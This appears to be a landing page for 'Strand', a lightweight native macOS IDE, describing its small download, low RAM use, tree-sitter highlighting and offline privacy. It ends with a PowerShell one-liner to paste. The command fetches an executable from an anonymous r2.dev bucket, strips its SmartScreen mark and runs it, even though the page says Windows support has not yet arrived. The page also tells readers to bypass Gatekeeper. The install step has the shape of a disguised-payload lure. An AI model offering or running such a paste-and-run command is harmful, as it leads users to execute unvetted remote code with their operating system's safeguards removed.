Strand is a native, small, fast, efficient IDE
Every Strand is one small native binary that launches instantly, runs smoothly and sips RAM.
Strand is one featherweight IDE. Open an Ars, C, Python or C# file and it offers the matching language support, with the download size up front. Nothing you don't use is installed.
Tree-sitter grammars and queries do the coloring — accurate scope, not regex guesswork.
The whole IDE is a ≈15 MB DMG — most editors ship bigger updates. Drag to Applications, open, code: grammars staged inside, no installer, no dependencies.
Modern editors treat RAM as an all-you-can-eat buffet. Strand finishes a 10-file session — searches, scroll stress and all — peaking around 170 MB.
A native Metal renderer locked to your display, frame-times profiled and hot paths shaved — with an e2e harness that reports FPS/RAM timelines on every heavy session.
File-tree sidebar with live git status marks, per-project tab strips, a ⌘P quick-open palette that jumps anywhere, project search and a test runner panel — the full IDE, without the weight.
A native macOS app today — Cocoa and Metal, no emulation layers. Windows and Linux arrive when their platform bridges land.
Strand is built around the loop you already run: open the project, drive the buffer from the keyboard, and let the rails — git marks, search, tests — keep pace without ever leaving the window.
Point strand at a folder; the project switcher remembers it. ⌘P jumps to any file in milliseconds.
Keyboard-first editing, multiple selections, tree-sitter feedback as you type — the buffer keeps up with you.
Git status marks live in the gutter and sidebar; the test runner panel reports without leaving the editor.
One small download. Open a file and Strand offers the language support it needs, with the size up front. Free, entirely on your machine, never phones home.
One IDE for Ars, C, Python and C#: tree-sitter highlighting, the test panel, the debugger and language servers, each wired in per language.
Download .dmgNot notarized yet — if Gatekeeper blocks the first launch, right-click the app and choose Open.
Clone the repo and let the bundle script do the rest — it builds the engine and wraps a signed bundle:
Needs ars and cargo on PATH; the Rust editing-core build is content-hash cached between runs.
strand is an offline native app: your projects stay on your disk, there's no account, no sync service and no telemetry. Uninstalling the app never touches a line of your code.
Paste into PowerShell. It downloads the latest installer, clears the SmartScreen mark and launches the installer (per-user, no admin).
$u = 'https://pub-682aebed64a04c5b8098b9010501eb90.r2.dev'
$f = (irm "$u/latest-windows.json").files.strand
$p = "$env:TEMP\$f"
$ProgressPreference = 'SilentlyContinue'
iwr "$u/$f" -OutFile $p
Unblock-File $p
Start-Process $p -Wait